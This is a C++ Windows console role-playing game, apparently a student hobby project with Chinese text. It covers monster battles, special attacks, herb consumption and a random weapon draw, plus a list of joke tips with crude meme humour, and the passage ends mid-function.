#include<bits/stdc++.h>
#include<windows.h>
#define cls system("cls");
#define pua system("pause");
using namespace std;
bool h=0,gj=0,zy=0,lx=0,sl=0,zx=0,szz=0,sw=0,qj=0,sg=0,slm=0,xx=0,sjdz=0,ggdz=0,ctj=0,zfc=0;
bool xl=0;
int vk=0,vy=0,vm=0;
int lev;
bool v[20]={true};
int wp[10],wq,qjs[20];
int gj2,fy,cha; 
long long ans=0;
bool a;
long long money=500;
long long eat=80;
int jy=1,k;
double luck=0.1;
int cao;
int jb=0;
string strin;
bool yy=0,zs=0,fs=0,sm=0,yyd=0,ssd=0;
bool dz=false,cx=false;
int smax=80,s,f=2,g,fa,famax,sd=10,bag[10];
int level=1;
string tips[]={
"你说得对,但是……","Never gonna give you up~",
"应该 嘲讽并踩爆这个蒟蒻!","吃好喝好,一路走好",
"IOI AK ME!","g(cy)zh",
"警告 此人太蒻了,请小心","AFO",
"A trip to f**ky island","七下生物",//10
"小考小完,大考大完,中考中完,高考()()","逸一时,误一世",
"这不是Tips","6",
"美国的金钱叫美金,英国的金钱叫()()","不行了,太烧了,我要开始lg了!",
"飞机飞了飞机飞了飞机飞了飞机飞了","菜就多练",
"什么实力啊","不如原神(",//20 
"闪避只能持续3回合","++cjy",
"c++","不可以,总司令",
"Windows收到了毁灭性打击!","231",
"631","L",
"F**K","姬铌食哉始胎媒", //30
"抽卡必歪真菌","十连多黄真菌",
"你拍1,我拍1,你就是个大*B","froepen",
"//freopen","freopen(\"___.in\",\"r\",stdout)",
"如果你的性别永久转变,但是你会得到 1200 万美元,你愿意吗?我超,还有这种好事?","我是__的狗!",
"     :( 你的电脑遇到问题,需要重新启动。","     :(",//40
"    :)","     :D",
"听我说撅撅你","可爱捏,超了",
"olo","^v^",
"发射犇犇!","QwQ",
"我宣布个事!我是个**!","好,很有精神!",//50
"身寸米青","彳亍",
"艹","与朋友交而不身寸乎"
"三十而立","C艹"
};
void zsdz()
{
	if(fa>=10&&zs==1)
	{
		cout<<"是否使用大招"<<"\n1.是   2.否\n\n\n";
		int fukkk;
		cin>>fukkk;
		if(fukkk==2)
			return ;
		cls
		cout<<"1.攻击  2.回血\n";
		int fukk;
		cin>>fukk;
		if(fukk==2)
		{
			printf("你利用纱布回血%d滴\n",fa*5+600);
			s+=fa*5+600;
			fa=2;
			cls
			return ;
		}
		cls
		if(sjdz==1)
		{
			cout<<"是否使用大招——横刀立马(伤害"<<fa*10+600<<")"<<"\n1.是   2.否\n\n\n";
			int ca;
			cin>>ca;
			if(ca==1)
			{
				if(fa*10+600>=cao)
				{
					printf("你是否要留有余力(你有伤害溢出)1.是  2.否\n");
					int zfctj;
					cin>>zfctj;
					if(zfctj==1)
					{
						fa-=(cao-600+9)/10;
						cao=-1;
						return ;
					}
				}
				printf("你一刀让对手减血%d滴\n",fa*10+600);
				cao-=fa*10+600;
				dz=true;
				fa=0;
			}
			else return ;
		}
		else{
			cout<<"是否使用大招——横刀立马(伤害"<<fa*5+100<<")"<<"\n1.是   2.否\n\n\n";
			int ca;
			cin>>ca;
			if(ca==1)
			{
				printf("你一刀让对手减血%d滴\n",max(fa*5+100,50));
				cao-=max(fa*5+100,50);
				dz=true;
				fa=0;
			}
			else return ;
		}
	}
	else return ;
}
void fsdz()
{
	if(fa>=15&&zs!=1)
	{
		cout<<"是否使用大招"<<"\n1.是   2.否\n\n\n";
		int fukkk;
		cin>>fukkk;
		if(fukkk==2)
			return ;
		cls
		cout<<"1.攻击  2.回血\n";
		int fukk;
		cin>>fukk;
		if(fukk==2)
		{
			printf("你利用纱布回血%d滴\n",fa*6+600);
			s+=fa*6+600;
			fa=2;
			cls
			return ;
		}
		cls
		if(sjdz==1)
		{
			cout<<"\n是否使用大招——白雪纷纷(伤害"<<fa*12+500<<")\n\n1.是   2.否\n\n\n";
			int ca;
			cin>>ca;
			if(ca==1)
			{
				if(fa*12+500>=cao)
				{
					printf("你是否要留有余力(你有伤害溢出)1.是  2.否\n");
					int zfctj;
					cin>>zfctj;
					if(zfctj==1)
					{
						fa-=(cao-500+11)/12;
						cao=-1;
						return ;
					}
				}
				printf("你让对手减血%d滴\n",max(fa*12+500,90));
				cao-=max(fa*12+500,90);
				cx=true; 
				dz=true;
				fa=0;
			}
			else return ;
		}
		else
		{
			cout<<"\n是否使用大招——白雪纷纷(伤害"<<fa*9<<")\n\n1.是   2.否\n\n\n";
			int ca;
			cin>>ca;
			if(ca==1)
			{
				printf("你让对手减血%d滴\n",max(fa*9-gj2,40));
				cao-=max(fa*9-gj2,40);
				cx=true; 
				dz=true;
				fa=0;
			}
			else return ;
		}
	}
	else return ;
}
void ssdz()
{
	if(fa>=30&&ssd==1)
	{
		cout<<"\n是否使用大招——生死环(伤害30%)\n\n1.是   2.否\n\n\n";
		int ca;
		cin>>ca;
		if(ca==1)
		{
			printf("你让对手减血%d滴\n",cao*3/10);
			fa-=30;
			cao-=cao*3/10;
			dz=true;
		}
		else return ;
	}
	
}
void yydz()
{
	if(fa>=20&&yyd==1)
	{
		cout<<"\n是否使用大招——阴阳两隔(伤害??)\n\n1.是   2.否\n\n\n";
		int ca;
		cin>>ca;
		if(ca==1)
		{
			int da=rand()%10;
			if(da==0)
			{
				printf("你让对手减血%d滴\n",cao);
				fa-=20;
				cao-=cao;
				dz=true;
			} 
			printf("你让对手减血0滴\n");
			fa=0;
			cao-=0;
			dz=true;
		}
		else return ;
	}
	
} 
void sj()
{
	int lzx=1;
	for(int w=2;w<=100;w++)
	{
		lzx*=5;
		if(jy<lzx)
		{
			printf("你的等级为%d",w-1);
			level=w-1;
			return ;
		}
	}
}
void pr(string s,int t=15){
	for(int i=0;i<s.size();i++){
		cout<<s[i];
		Sleep(t);
	}
}
void cp(string s,int fc=15,int bc=0,bool slow=0,int t=1){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|bc*16|FOREGROUND_INTENSITY|fc);
    if(slow)pr(s,t);
	else cout<<s;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|7);
    return;
} 
void prr(string s,int t=1){
	for(int i=0;i<s.size();i++)
		cout<<s[i];
}
void ccp(string s,int fc=15,int bc=0,bool slow=0,int t=1){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|bc*16|FOREGROUND_INTENSITY|fc);
    if(slow)prr(s,t);
	else cout<<s;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|7);
    return;
} 
void save(){
	ofstream outfile("save1.dat",std::ios::trunc|ios::binary|ios::in|ios::out);
	outfile<<124<<1235236;
	outfile.close();
}
int getDamage(int damge,int defend,double addDamage=0,int baojilv=0,double baojishanghai=0){
	return int(((damge-defend*0.3+rand()%2)*(addDamage+1)+rand()%3-1)*((rand()%100<baojilv)?(baojishanghai+1):1));
}
void slowout(char* p,int time=15)
{
    while (1)
    {
        if (*p != 0)
            printf("%c",*p++);
        else
            break;
        Sleep(time);
    }
}
void qjzd()
{
	cout<<"你遇见了一只青角鹿\n";
	Sleep(1000);
	cao=3000+smax;
	while(1)
	{
		gj2=g+rand()%100-10,fy=f+50;
		cls
		if(fa<famax)
			fa++;
		if(fs==1&&fa<famax)
			fa++;
		if(level>=10)
			fa++;
		cout<<"青角鹿剩余血量:";
		cout<<cao<<"\n青角鹿攻击:";
		cout<<gj2<<"\n青角鹿防御:";
		cout<<fy<<"\n";
		cout<<"\n\n\n你的法力:"<<fa<<"点\n";
		Sleep(1000);
		if(ggdz==1)
		{
			yydz();
			ssdz();
		}
		else
		{
			zsdz();
			fsdz();
		}
		int d;
		if(dz==false)
		{
			cls 
			cout<<"青角鹿剩余血量";
			cout<<cao<<"\n";
			cout<<"1.攻击    2.防御\n";
			cin>>d; 
            Sleep(1000);
			if(d==1)
			{
				int kk=rand()%2;
				if(kk==0)
				{
					printf("你向青角鹿发起攻击,青角鹿防御了,只造成了30%的伤害,她减血%d滴\n",max((g-fy)*3/10,3));
					cao-=max((g-fy)*3/10,3);
				}
				else
				{
					printf("你向青角鹿发起攻击,青角鹿减血%d滴\n",max(g-fy,5));
		           	cao-=max(g-fy,5);
			        Sleep(100);
			        printf("\n剩余血量%d滴\n",cao);
				}
			}
		}
		if(cx==true)
		{
			printf("青角鹿受到冰冻伤害,青角鹿防御了\n,青角鹿减血%d滴",max(level*5-fy*5,5));
			cao-=max(level*5-fy*5,5);
			printf("\n剩余血量%d滴\n",cao);
		}
	    Sleep(1000);
	    dz=false;
	    if (cao <= 0)
	    {
	        printf("你胜利了!\n经验+8000\n");
	        Sleep(500);
	        jy+=8000; 
		    sj();
		    slowout("\n你发现了一块青角鹿晶核\n");
		    bag[5]+=1;
		    qj=1;
		    s=smax;
		    fa=min(fa+30,famax);
		    pua
		    break;
		    cls
	    }
	    if (cao > 0) {
	        int jn=rand() % 5;
	        if (jn == 2)
	        {
	            printf("青角鹿使出了技能“万物复苏”!回复10%的血!你也回复5滴血\n");
	            cao+=(300+smax/10);
	            s+=5; 
	            Sleep(1000);
	            cls
	    	}
	    	if(jn==3)
	    	{
	    		printf("青角鹿使出了技能“生死一击”!它向你冲来!\n");
	            cao-=100;
	            cout<<"\n"; 
	            system("color 4F");
	            cout<<"你很痛"; 
	            s-=min(max(cao/5-f,40),max(fy-f,40));
	            cout<<"你扣血"<< min(max(cao/5-f,40),max(fy-f,40))<<"点"<<endl; 
				pua
	            system("color 0A");
	            Sleep(1000);
	            cls
			}
	    	if(d==2)
	    	{
	    		printf("青角鹿对你发起攻击,你防御了,减血%d滴",1);
	        	s -= 1;
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			else
			{
	            system("color 4F");
				printf("青角鹿对你发起攻击,你减血%d滴",max(gj2 - f,1));
	        	s-=max(gj2-f,1);
	        	cout<<"\n";
				pua
	            system("color 0A");
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			} 
	        Sleep(1000);
	    }
	    if (s <= 0)
	    {
	        printf("你凉了……\n");
	        sw=1;
	        luck-=0.05;
			Sleep(500);
	        cls
			return ;
	    }
	}
}
void hazd()
{
	int swcs=5,ctj=1;
	cout<<"你遇见了一只尸鬼\n";
	Sleep(1000);
	cao=8000+smax;
	while(1)
	{
		gj2=(g+rand()%100+100)*ctj,fy=(f+500)*ctj;
		cls
		if(fa<famax)
			fa++;
		if(fs==1&&fa<famax)
			fa++;
		if(level>=8)
			fa++;
		cout<<"尸鬼剩余血量:";
		cout<<(cao)*ctj<<"/"<<(8000+smax)*ctj<<"\n尸鬼攻击:";
		cout<<(gj2)*ctj<<"\n尸鬼防御:";
		cout<<(fy)*ctj<<"\n";
		cout<<"\n\n\n你的法力:"<<fa<<"点\n";
		Sleep(1000);
		if(ggdz==1)
		{
			yydz();
			ssdz();
		}
		else
		{
			zsdz();
			fsdz();
		}
		int d;
		if(dz==false)
		{
			cls 
			cout<<"尸鬼剩余血量";
			cout<<(cao)*ctj<<"\n";
			cout<<"1.攻击    2.防御\n";
			cin>>d; 
            Sleep(1000);
			if(d==1)
			{
				int kk=rand()%2;
				if(kk==0)
				{
					printf("你向尸鬼发起攻击,尸鬼防御了,只造成了20%的伤害,祂减血%d滴\n",max((g-fy)*2/10,50));
					cao-=max((g-fy)*2/10,3);
				}
				else
				{
					printf("你向尸鬼发起攻击,尸鬼减血%d滴\n",max(g-fy,5));
		           	cao-=max(g-fy,5);
			        Sleep(100);
			        printf("\n剩余血量%d滴\n",cao);
				}
			}
		}
		if(cx==true)
		{
			printf("尸鬼受到冰冻伤害,尸鬼防御了\n,尸鬼减血%d滴",max(level*5-fy*5,5)/ctj);
			cao-=max(level*5-fy*5,5)/ctj;
			printf("\n剩余血量%d滴\n",cao);
		}
	    Sleep(1000);
	    dz=false;
	    if (cao <= 0&&swcs==0)
	    {
	        printf("你胜利了!\n经验+88000\n");
	        Sleep(500);
	        jy+=188000; 
		    sj();
		    slowout("\n你发现了一块尸鬼晶核\n");
		    bag[7]+=1;
		    sg=1;
		    s=smax;
		    fa=min(fa+90,famax); 
		    pua
		    break;
		    cls
	    }
	    if (swcs>=0) {
	        int jn=rand() % 4;
	        if (cao<=0)
	        {
	            printf("尸鬼使出了技能“替死”!回复100%的血!\n");
	            swcs--;
	            cao+=(8000+smax)*ctj;
	            Sleep(1000);
	            cls
	    	}
	    	if(jn==3)
	    	{
	    		printf("尸鬼使出了技能“生死一击”!它向你冲来!\n");
	            cao-=100/ctj;
	            cout<<"\n"; 
	            system("color 4F");
	            cout<<"你很痛"; 
	            s-=min(max(cao/3-f,140),max(fy-f,140))*ctj;
	            cout<<"你扣血"<< min(max(cao/3-f,40),max(fy-f,40))*ctj<<"点"<<endl; 
				pua
	            system("color 0A");
	            Sleep(1000);
	            cls
			}
	    	if(jn==3)
	    	{
	    		printf("尸鬼使用了一张符纸<尸奴>!强化自身,属性翻倍!\n");
	            cao-=100/ctj;
	            cout<<"\n"; 
	            system("color 4F");
	            ctj*=2; 
				pua
	            system("color 0A");
	            Sleep(1000);
	            cls
			}
	    	if(d==2)
	    	{
	    		printf("尸鬼对你发起攻击,你防御了,减血%d滴",10*ctj);
	        	s -= 10*ctj;
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			else
			{
	            system("color 4F");
				printf("尸鬼对你发起攻击,你减血%d滴",max(gj2 - f,10*ctj));
	        	s-=max(gj2-f,10*ctj);
	        	cout<<"\n";
				pua
	            system("color 0A");
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			} 
	        Sleep(1000);
	    }
	    if (s <= 0)
	    {
	        printf("你凉了……\n");
	        sw=1;
	        luck-=0.05;
			Sleep(500);
	        cls
			return ;
	    }
	}
}
void slmzd()
{
	int sy=false;
	cout<<"你遇见了一只史莱姆\n";
	Sleep(500);
	cao=1200+smax;
	while(1)
	{
		gj2=g+rand()%100-10,fy=f+50-rand()%10;
		cls
		if(fa<famax)
			fa++;
		if(fs==1&&fa<famax)
			fa++;
		if(level>=10)
		{
			fa++;
		}
		cout<<"史莱姆剩余血量(每回合+5%):";
		cout<<cao<<"\n史莱姆攻击:";
		cout<<gj2<<"\n史莱姆防御:";
		cout<<fy<<"\n";
		cout<<"\n\n\n你的法力:"<<fa<<"点\n";
		cao+=60; 
		Sleep(1000);
		if(ggdz==1)
		{
			yydz();
			ssdz();
		}
		else
		{
			zsdz();
			fsdz();
		}
		int d;
		if(dz==false)
		{
			cls 
			cout<<"史莱姆剩余血量";
			cout<<cao<<"\n";
			cout<<"1.攻击    2.防御\n";
			cin>>d; 
            Sleep(1000);
			if(d==1)
			{
				int kk=rand()%2;
				if(kk==0)
				{
					printf("你向史莱姆发起攻击,史莱姆防御了,只造成了20%的伤害,她减血%d滴\n",max((g-fy)/5,5));
					cao-=max((g-fy)/5,5);
				}
				else
				{
					printf("你向史莱姆发起攻击,史莱姆减血%d滴\n",max(g-fy,5));
		           	cao-=max(g-fy,5);
			        Sleep(200);
			        printf("\n剩余血量%d滴\n",cao);
				}
			}
		}
		if(cx==true)
		{
			printf("史莱姆受到冰冻伤害,史莱姆防御了\n,史莱姆减血%d滴",max(level*5-fy*5,5));
			cao-=max(level*5-fy*5,5);
			printf("\n剩余血量%d滴\n",cao);
		}
	    Sleep(1000);
	    dz=false;
	    if (cao <= 0)
	    {
	        printf("你胜利了!\n经验+16000\n");
	        Sleep(500);
	        jy+=16000; 
		    sj();
		    slowout("\n你发现了一块史莱姆晶核\n");
		    bag[6]+=1;
		    slm=1;
		    s=smax;
		    fa=min(fa+35,famax);
		    pua
		    break;
		    cls
	    }
	    if (cao > 0) {
	        int jn=rand() % 4;
	        if (jn == 2)
	        {
	            printf("史莱姆使出了技能“分裂”!回复50%的血!\n");
	            cao+=(600+smax/2);
	            Sleep(1000);
	            cls
	    	}
	    	if(jn==3&&sy==false)
	    	{
	    		printf("史莱姆使出了技能“酸液”!\n");
	            cao+=10;
	            cout<<"\n"; 
	            system("color 4F");
	            cout<<"你很痛"; 
	            sy=true; 
	            s-=min(max(cao/20-f,30),max(fy-f,30));
				pua
	            system("color 0A");
	            Sleep(1000);
	            cls
			}
	    	if(d==2)
	    	{
	    		printf("史莱姆对你发起攻击,你防御了,减血%d滴",2);
	        	s -= 2;
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			else
			{
	            system("color 4F");
				printf("史莱姆对你发起攻击,你减血%d滴",max(gj2 - f,5));
	        	s-=max(gj2-f,5);
	        	cout<<"\n";
				pua
	            system("color 0A");
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			if(sy==true)
			{
				cout<<"\n"; 
				printf("你受到强酸伤害,减血%d滴",max(gj2/2-f,5));
				s-=max(gj2/2-f,5);
				printf("\n剩余血量%d滴\n",s);
			}
	        Sleep(1000);
	    }
	    if (s <= 0)
	    {
	        printf("你凉了……\n");
	        sw=1;
	        luck-=0.02;
			Sleep(500);
	        cls
			return ;
	    }
	}
}
void hyzd()
{
	cout<<"你遇见了一只火云兽\n";
	Sleep(1000);
	cao=300;
	gj2=10,fy=8;
	while(1)
	{
		cls
		if(fa<famax)
			fa++;
		if(fs==1&&fa<famax)
			fa++;
		if(level>=10)
		{
			fa++;
		}
		cout<<"火云兽剩余血量";
		cout<<cao<<"\n";
		if(ggdz==1)
		{
			yydz();
			ssdz();
		}
		else
		{
			zsdz();
			fsdz();
		}
		int d;
		if(dz==false)
		{
			cls 
			cout<<"火云兽剩余血量";
			cout<<cao<<"\n";
			cout<<"1.攻击    2.防御\n";
			cin>>d; 
            Sleep(1000);
			if(d==1)
			{
				printf("你向火云兽发起攻击,火云兽减血%d滴",g-10);
	           	cao-=g-10;
		        Sleep(100);
		        printf("\n剩余血量%d滴\n",cao);
			}
		}
		if(cx==true)
		{
			printf("火云兽受到冰冻伤害,火云兽受到克制\n,火云兽减血%d滴",max(level*5-10,5));
			cao-=max(level*5-10,5);
			printf("\n剩余血量%d滴\n",cao);
		}
	    Sleep(1000);
	    dz=false;
	    if (cao <= 0)
	    {
	        printf("你胜利了!\n经验+6\n");
	        Sleep(500);
	        jy+=6; 
		    sj();
		    slowout("\n你发现了一块火云兽晶核\n");
		    bag[1]+=1;
		    h=1;
		    s=smax;
		    fa=min(fa+15,famax);
		    pua
		    break;
		    cls
	    }
	    if (cao > 0) {
	        int jn=rand() % 3;
	        if (jn == 2)
	        {
	            printf("火云兽使出了技能“火焰”!你生命-10!\n");
	            s-=10;
	            Sleep(100);
	    	}
	    	if(d==2)
	    	{
	    		printf("火云兽对你发起攻击,你防御了,减血%d滴",1);
	        	s -= 1;
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			else
			{
				printf("火云兽对你发起攻击,你减血%d滴",max(5 - f,1));
	        	s -= max(10 - f,1);
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			} 
	        Sleep(1000);
	    }
	    if (s <= 0)
	    {
	        printf("你凉了……\n");
	        sw=1;
	        luck-=0.1;
			Sleep(500);
			return ;
	        cls
	    }
	}
}
void ccc(){
	cls
	cout<<"你临死前,似乎?……看到了黑影的样子?\n这是你的教官!?……\n";
	pua
	cls
	cout<<"那个符纸上……好像有字?‘神明?……祭献?……lgn?!’\n";
	pua
	cls
	cout<<"你死了,恍惚间你看见了一个“人?”,拿着一个“数据删除?*??*”向你走来。\n";
	cout<<"祂?口?中念念有词,一团金色的物质从你体内抽出……\n";
	pua
	cls
	smax/=10;
	famax/=10;
	f/=10;
	g/=10;
	sd-=1;
	return ;
}
void jwzd()
{
	int sy=false;
	cout<<"突然,一个黑影从背后偷袭\n";
	Sleep(500);
	cao=2e9;
	int sdd=100;
	while(1)
	{
		gj2=max(smax/2,f+g),fy=1e7;
		cls
		if(fa<famax)
			fa++;
		if(fs==1&&fa<famax)
			fa++;
		if(level>=10)
		{
			fa++;
		}
		cout<<"不明生物剩余血量:";
		cout<<cao<<"\n不明生物攻击:";
		cout<<gj2<<"\n不明生物防御:";
		cout<<fy<<"\n";
		cout<<"\n\n\n你的法力:"<<fa<<"点\n";
		cao+=60; 
		Sleep(1000);
		if(ggdz==1)
		{
			yydz();
			ssdz();
		}
		else
		{
			zsdz();
			fsdz();
		}
		int d;
		if(dz==false)
		{
			cls 
			cout<<"不明生物剩余血量";
			cout<<cao<<"\n";
			cout<<"1.攻击    2.防御\n";
			cin>>d; 
            Sleep(1000);
			if(d==1)
			{
				int kk=rand()%(sdd/sd);
				if(kk==0)
				{
					printf("你向不明生物发起攻击,不明生物闪避了,没有扣血?\n");
			        Sleep(200);
			        printf("\n剩余血量%d滴\n",cao);
				}
				else
				{
					printf("你向不明生物发起攻击,不明生物防御了,只造成了1%的伤害,祂减血%d滴\n",max((g-fy)/100,5));
					cao-=max((g-fy)/5,5);
				}
			}
		}
		if(cx==true)
		{
			printf("不明生物受到冰冻伤害,不明生物防御了\n,不明生物减血%d滴",max(level*5-fy*5,5));
			cao-=max(level*5-fy*5,5);
			printf("\n剩余血量%d滴\n",cao);
		}
	    Sleep(1000);
	    dz=false;
	    if (cao > 0) {
	    	if(d==2)
	    	{
	    		printf("不明生物对你发起攻击,你防御了,减血%d滴",20000);
	        	s -= 20000;
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			else
			{
	            system("color 4F");
				printf("不明生物对你发起攻击,你减血%d滴",max(gj2 - f,500));
	        	s-=max(gj2-f,500);
	        	cout<<"\n";
				pua
	            system("color 0A");
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
	        Sleep(1000);
	    }
	    if (s <= 0)
	    {
	        printf("你凉了……\n");
	        sw=1;
	        luck-=0.02;
			Sleep(500);
	        cls
	        ccc();
			return ;
	    }
	}
}
void zyzd()
{
	cout<<"你遇见了一只紫云蛇\n";
	Sleep(1000);
	cao=800;
	gj2=30,fy=20;
	while(1)
	{
		cls
		if(fa<famax)
			fa++;
		if(fs==1&&fa<famax)
			fa++;
		if(level>=10)
		{
			fa++;
		}
		cout<<"紫云蛇剩余血量";
		cout<<cao<<"\n";
		if(ggdz==1)
		{
			yydz();
			ssdz();
		}
		else
		{
			zsdz();
			fsdz();
		}
		int d;
		if(dz==false)
		{
			cls 
			cout<<"紫云蛇剩余血量";
			cout<<cao<<"\n";
			cout<<"1.攻击    2.防御\n";
			cin>>d; 
            Sleep(1000);
			if(d==1)
			{
				printf("你向紫云蛇发起攻击,紫云蛇减血%d滴",g-fy);
	           	cao-=g-fy;
		        Sleep(100);
		        printf("\n剩余血量%d滴\n",cao);
			}
		}
		if(cx==true)
		{
			printf("紫云蛇受到冰冻伤害,紫云蛇减血%d滴",max(level*4-10,4));
			cao-=max(level*4-10,4);
			printf("\n剩余血量%d滴\n",cao);
		}
	    Sleep(1000);
	    dz=false;
	    if (cao <= 0)
	    {
	        printf("你胜利了!\n经验+80\n");
	        Sleep(500);
	        jy+=80; 
		    sj();
		    slowout("\n你发现了一块紫云蛇晶核\n");
		    bag[4]+=1;
		    zy=1;
		    s=smax;
		    fa=min(fa+20,famax);
		    pua
		    return ;
		    cls
	    }
	    if (cao > 0) {
	        int jn=rand() % 3;
	        if (jn == 2)
	        {
	            printf("紫云蛇使出了技能“紫焰”!你生命-25!\n");
	            s-=25;
	            Sleep(100);
	    	}
	    	if(d==2)
	    	{
	    		printf("紫云蛇对你发起攻击,你防御了,减血%d滴",1);
	        	s -= 1;
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			}
			else
			{
				printf("紫云蛇对你发起攻击,你减血%d滴",max(gj2 - f,1));
	        	s -= max(gj2 - f,1);
				Sleep(100);
	        	printf("\n剩余血量%d滴\n",s);
			} 
	        Sleep(1000);
	    }
	    if (s <= 0)
	    {
	        printf("你凉了……\n");
	        sw=1;
	        luck-=0.08;
			Sleep(500);
			return;
	        cls
	    }
	}
}
void cyz()
{
	cls
	cout<<"你有\n";
	for(int i=1;i<=10;i++)
		if(bag[i]>0)
			cout<<bag[i]<<"个"<<i<<"级晶核\n";
	if(wp[1]>0)
		cout<<"1."<<wp[1]<<"个"<<"火云参\n";
	if(wp[2]>0)
		cout<<"2."<<wp[2]<<"个"<<"彼岸花\n"; 
	if(wp[3]>0)
		cout<<"3."<<wp[3]<<"个"<<"月心兰\n"; 
	if(wp[4]>0)
		cout<<"4."<<wp[4]<<"个"<<"碧水莲\n"; 
	if(wp[5]>0)
		cout<<"5."<<wp[5]<<"个"<<"白草\n";
	if(wp[6]>0)
		cout<<"6."<<wp[6]<<"个"<<"紫微\n"; 
	if(wp[7]>0)
		cout<<"7."<<wp[7]<<"个"<<"人参\n"; 
	cout<<"你要吃什么\n" ;
	int o;
	cin>>o;
	if(wp[o]>0)
	{
		cout<<"吃几个?";
		int y;
		cin>>y;
		if(y>wp[o])
		{
			cout<<"没那么多!";
			cls
			return ;
		}
		else{
			cout<<"你吃了"<<y<<"个草药,饱腹感+"<<y<<"\n"; 
			wp[o]-=y;
			if(o==6)
			{
				cout<<"你吃了"<<y<<"个它,法力+"<<y<<",攻击-"<<y<<"\n";
				famax+=y;
				g-=y;
			}
			if(o==1)
			{
				cout<<"你吃了"<<y<<"个它,防御+"<<y<<"\n";
				f+=y;
			}
			if(o==2)
			{
				cout<<"你吃了"<<y<<"个它,血量-"<<y<<",攻击+1\n";
				smax-=y;
				g+=y;
			}
			if(o==5)
			{
				cout<<"你吃了"<<y<<"个它,法力+"<<y<<",血量+"<<2*y<<"\n";
				famax+=y;
				smax+=2*y;
			}
			if(o==3)
			{
				cout<<"你吃了"<<y<<"个它,法力+"<<2*y<<",防御+"<<y<<"\n";
				famax+=2*y;
				f+=y; 
			}
			if(o==4)
			{
				cout<<"你吃了"<<y<<"个它,攻击+"<<2*y<<",法力-"<<y<<"\n";
				famax-=1*y;
				g+=2*y;
			}
			if(o==7)
			{
				if(szz==1)
				{
					cout<<"你吃了"<<y<<"个它,血量+"<<5*y<<",防御+"<<2*y<<"\n"; 
					smax+=5*y;
					f+=2*y;
				}
				else cout<<"你吃不下去";
			}
		}
		cyz();
	}
	pua
	cls
	return ;
}
void th()
{
	cls
	cout<<"你有一次替换/升级技能的机会\n";
	cout<<"1.升级  2.替换\n";
	int xxx;
	cin>>xxx;
	if(xxx==1)
	{
		cout<<"当前大招攻击+500";
		sjdz=1;
		xx=1; 
		pua
		cls;
		return ;
	}
	else
	{
		cout<<"当前可替换为:1.生死环  2.阴阳两隔\n";
		cout<<"是否查看介绍?1.是  2.否";
		int jh;
		cin>>jh;
		if(jh==2)
		{
			cout<<"\n\n替换为什么?";
			int uyh;
			cin>>uyh;
			if(uyh==1)
			{
				cout<<"\n技能替换为生死环!\n";
				ggdz=1;
				ssd=1;
				pua
				cls;
				return ;
			}
			else if(uyh==2)
			{
				cout<<"\n技能替换为阴阳两隔!\n";
				ggdz=1;
				yyd=1;
				pua
				cls;
				return ;
			}
		}
		else if(jh==1)
		{
			cout<<"哪一个的?\n1/2 ?";
			int js;
			cin>>js;
			pua
			if(js==1)
			{
				cout<<"生死环:\n";
				cout<<"传说,这是大神zyh的技能,可以活生生将敌人磨死\n\n";
				cout<<"技能效果:\n给予敌人30%的真实伤害\n";
				pua
				cls;
				th();
			}
			else if(js==2)
			{
				cout<<"阴阳两隔:\n";
				cout<<"传说,这是大神zhr的技能。\n";
				cout<<"特点:\n";
				cout<<"一念生,一念死,阴阳殊途,人鬼两隔!\n"; 
				cout<<"技能效果:\n10%概率当场击杀对手\n";
				pua
				cls;
				th();
			}
		}
	}
}
void ck(int x)
{
	wq-=x*5;
	while(x--)
	{
		int v=rand()%10000;
		if(v<4500)
		{
			ccp("你获得了一个1级武器\n",1,0,1);
			qjs[1]++;
			if(vk<10&&vy<5)
				vk=10,vy=5;
			continue;
		}if(v<7000)
		{
			ccp("你获得了一个2级武器\n",2,0,1);
			qjs[2]++;
			if(vk<20&&vy<10)
				vk=20,vy=10;
			continue;
		}if(v<8500)
		{
			ccp("你获得了一个3级武器\n",3,0,1);
			qjs[3]++;
			if(vk<30&&vy<15)
				vk=30,vy=15;
			continue;
		}if(v<9000)
		{
			ccp("你获得了一个4级武器\n",4,0,1);
			qjs[4]++;
			if(vk<40&&vy<20)
				vk=40,vy=20;
			continue;
		}if(v<9400)
		{
			ccp("你获得了一个5级武器\n",5,0,1);
			qjs[5]++;
			if(vk<50&&vy<25)
				vk=50,vy=25;
			continue;
		}if(v<9600)
		{
			ccp("你获得了一个6级武器\n",6,0,1);
			qjs[6]++;
			if(vk<60&&vy<30)
				vk=60,vy=30;
			continue;
		}if(v<9750)
		{
			ccp("你获得了一个7级武器\n",7,0,1);
			qjs[7]++;
			if(vk<70&&vy<35)
				vk=70,vy=35;
			continue;
		}if(v<9850)
		{
			ccp("你获得了一个8级武器\n",8,0,1);
			qjs[8]++;
			if(vk<80&&vy<40)
				vk=80,vy=40;
			continue;
		}if(v<9900)
		{
			ccp("你获得了一个9级武器\n",9,0,1);
			qjs[9]++;
			if(vk<90&&vy<45)
				vk=90,vy=45;
			continue;
		}if(v<9940)
		{
			ccp("你获得了一把火云剑\n",10,0,1);
			qjs[10]++;
			if(vk<100&&vy<50&&vm<5)
				vk=100,vy=50,vm=5;
			continue;
		}if(v<9970)
		{
			cp("你获得了一把紫灵剑\n",11,0,1);
			qjs[11]++;
			if(vk<150&&vy<100&&vm<20)
				vk=150,vy=100,vm=20;
			continue;
		}if(v<9980)
		{
			cp("你获得了一把仙剑\n",12,0,1);
			qjs[12]++;
			if(vk<200&&vy<150&&vm<35)
				vk=200,vy=150,vm=35;
			continue;
		}if(v<9984+luck)
		{
			cp("你获得了一柄青云神剑\n",13,0,1);
			qjs[13]++;
			if(vk<400&&vy<250&&vm<150)
